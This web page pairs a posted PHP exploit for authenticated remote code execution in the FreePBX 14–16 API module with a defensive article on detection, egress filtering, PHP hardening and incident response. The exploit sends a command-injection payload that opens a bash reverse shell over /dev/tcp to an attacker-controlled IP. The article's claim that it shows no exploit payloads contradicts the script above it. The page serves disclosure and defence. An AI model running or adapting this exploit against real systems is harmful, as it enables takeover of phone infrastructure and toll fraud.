FreePBX 16 - Remote Code Execution (RCE) (Authenticated)

Exploit Author: Cold z3ro Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-06-01
# Exploit Title: FreePBX 16 -  Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Cold z3ro
# Date: 6/1/2024
# Tested on: 14,15,16
# Vendor: https://www.freepbx.org/

<?php
///
/// FREEPBX [14,15,16] API Module Authenticated RCE 
/// Orginal Difcon || https://www.youtube.com/watch?v=rqFJ0BxwlLI
/// Cod[3]d by Cold z3ro 
///
$url = "10.10.10.186"; // remote host
$backconnectip = "192.168.0.2";
$port = "4444"; 
$PHPSESSID = "any valid session even extension";

echo "checking $url\n";
$url = trim($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://'.$url.'/admin/ajax.php?module=api&command=generatedocs');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
curl_setopt($ch, CURLOPT_TIMEOUT, 2);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Referer: http://'.$url.'/admin/config.php?display=api',
'Content-Type: application/x-www-form-urlencoded',
]);
curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID='.$PHPSESSID);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'scopes=rest&host=http://'.$backconnectip.'/$(bash -1 >%26 /dev/tcp/'.$backconnectip.'/4444 0>%261)');
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

echo $response = curl_exec($ch)."\n";

curl_close($ch);

?>


FreePBX 16 Authenticated Remote Code Execution (API Module) — Overview, Detection, and Mitigation

FreePBX is a widely used open-source PBX management platform. In mid‑2024 a vulnerability was disclosed in the API module used by FreePBX releases (reported across v14–v16 in community testing) that can allow an authenticated user with access to the administrative API to escalate into remote code execution (RCE) because of insufficient input validation in a document generation routine. This article explains the issue at a high level, describes impact and detection techniques, and gives defensive, non‑actionable mitigation and incident response guidance for administrators and security teams.

High‑level technical summary

At a conceptual level, the problem stems from an API endpoint that accepts user‑supplied input and uses it in a context where shell metacharacters or system invocation may be executed (for example, when generating documents or invoking utilities). If input is not properly validated, an authenticated user can craft input that causes the web application to invoke arbitrary commands on the underlying host permitting code execution with the privileges of the web service.

  • Prerequisites: The vulnerability requires an authenticated account with access to the affected API functionality (for example, an extension/admin session or credentials that can reach the module).
  • Core issue: Unsanitized input passed to a system call or to a tool that performs shell expansion.
  • Impact: Complete compromise of the FreePBX host (web service user), possible lateral movement to internal telephony services, exposure of voicemail/configuration, and use of the host as a pivot for further network attacks.

Affected versions and remediation status

AffectedNotesRecommended action
FreePBX 14, 15, 16 (community reports)API module input validation weakness reported in 2024Install vendor updates for the API/document‑generation module; if unavailable, apply mitigations below immediately

Why this matters (risk model)

Telephone infrastructure often runs with high trust inside networks and may have VoIP endpoints, PBX secrets, and integrations with SIP trunks and billing systems. Compromise of a PBX server can expose these secrets, enable toll fraud, or allow attackers to monitor calls. Because the issue is authenticated, attackers can leverage stolen or weak credentials, or an insider account, to exploit the vulnerability.

Detection and hunting

Log‑based indicators

Search web server, FreePBX, and Asterisk logs for anomalous requests to the API module and for evidence of document generation requests. Look for:

  • Requests to endpoints such as /admin/ajax.php?module=api or other admin API paths.
  • Unexpected query/post parameters to document generation features (e.g., parameters named host, url, path, template, etc.).
  • Unusual user accounts or IP addresses accessing admin UI or API endpoints.
# Example: find accesses to the document API in Apache logs (defensive only)
grep -i "generatedocs" /var/log/httpd/* /var/log/apache2/* 2>/dev/null
# Or search for the ajax API endpoint
grep -i "/admin/ajax.php?module=api" /var/log/httpd/* /var/log/apache2/* 2>/dev/null

Explanation: These simple greps search webserver logs for hits to API endpoints or the document generation routine. This is a defensive pattern to identify suspicious access; it does not show or enable exploitation.

Process and network indicators

  • New or unusual processes spawned by the web user (www-data, asterisk, apache) — e.g., unexpected shells or tools running as the web service user.
  • Outbound network connections from the PBX host to unfamiliar external IPs or ports (especially high‑entropy destination IPs/ports or long‑lived reverse shell sessions).
# Example: check for recent outbound connections from the PBX host (netstat / ss)
ss -tnp | grep -E 'ESTAB|SYN-SENT'
# Or list active outbound connections with process mapping
netstat -tunp | awk '$4 ~ /:[0-9]+$/ {print $0}'   # defensive inspection

Explanation: These commands allow defenders to inventory active TCP/UDP connections and see which local process (by PID) owns them. Use them to spot unexpected external connections originating from the PBX host.

SIEM/Splunk example query (defensive)


# Splunk pseudo-query to find outgoing connections from PBX host to uncommon ports
index=network_logs src_ip="10.0.0.5"  # replace with PBX IP
| stats count by dst_ip,dst_port,process_name
| sort -count

Explanation: This Splunk‑style query aggregates outbound connections from your PBX and highlights unusual destinations and ports for further review.

Mitigation and hardening (immediate and long‑term)

1) Apply vendor updates

The most reliable mitigation is to install the official FreePBX security updates for the API/document generation modules. Monitor the FreePBX security advisory page and patch releases and apply vendor patches as soon as possible.

2) Principle of least privilege and access control

  • Restrict which users/accounts can reach administrative APIs. Only authorized administrators should have access.
  • Use strong, unique credentials and enable multi‑factor authentication (MFA) where supported.
  • Limit web admin access to management networks or via VPN; do not expose administrative consoles directly to the internet.

3) Network egress filtering

Block or tightly control outbound connections from PBX hosts. Prevent the web server user from initiating arbitrary external TCP connections to reduce the risk of data exfiltration or reverse shells.


# Example: restrict outbound TCP from PBX host to only required ports (illustrative)
# Allow DNS, NTP and SIP signalling or media as required; block all else by default
iptables -P OUTPUT DROP
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT   # DNS
iptables -A OUTPUT -p udp --dport 123 -j ACCEPT  # NTP
# Allow SIP signalling to known trunks and RTP ranges - add explicit rules

Explanation: The sample iptables snippets show a defensive approach: a default‑deny outbound policy and explicit allow rules for required services. Customize rules to your environment and test carefully.

4) PHP and OS hardening

Reduce the attack surface by disabling dangerous PHP functions and enforcing safe execution contexts for web applications. Below is an example of disabling common command execution functions in php.ini (defensive):


; Example php.ini defensive setting
disable_functions = exec,passthru,shell_exec,system,proc_open,popen
; Note: some FreePBX functionality or modules may require specific functions; test before applying globally.

Explanation: Disabling these functions removes a common avenue for server‑side code to spawn shells or run system commands. Because some legitimate applications may require them, test in a staging environment and apply narrowly if necessary.

5) Web Application Firewall (WAF) and input validation

  • Deploy a WAF or API gateway in front of management interfaces to block suspicious parameter values and command‑injection patterns.
  • Use strict allow‑lists for parameter values where possible, and ensure proper sanitization on the server side.

6) Reduce privileges for service accounts

Ensure the web server and PBX processes run with minimal OS privileges, separate from system accounts with wide access. Use containerization or chroot where appropriate to limit potential damage from a compromised process.

Incident response guidance (if you suspect compromise)

  • Isolate the host from the network (or block outbound traffic) to prevent exfiltration and lateral movement.
  • Collect volatile evidence (running processes, network connections, memory captures, open file descriptors) and preserve logs.
  • Identify all accounts used to authenticate to admin APIs; rotate credentials and revoke suspicious sessions.
  • Perform integrity checks on system binaries and configuration files; compare to known good builds or backups.
  • If RCE is confirmed, plan for full system rebuild from a trusted image after forensic capture; do not simply patch and continue on a host you suspect has been fully compromised.

Operational recommendations and best practices

  • Maintain a timely patching program for FreePBX and underlying OS packages.
  • Segment VoIP infrastructure from general user networks; limit direct internet exposure.
  • Enable logging and centralized collection (syslog/SIEM) for quick detection and historical analysis.
  • Perform periodic vulnerability scanning and authenticated configuration review for PBX administration paths.
  • Conduct regular backups of PBX configuration and record retention for post‑incident recovery.

References and resources

  • FreePBX official site and security advisories — check vendor updates and module changelogs.
  • General hardening guidance for FreePBX and Asterisk (vendor docs and community best practices).

Note: This article intentionally avoids showing exploit payloads or step‑by‑step offensive techniques. The goal is to empower defenders and administrators with practical detection, mitigation, and response guidance to reduce risk and limit impact.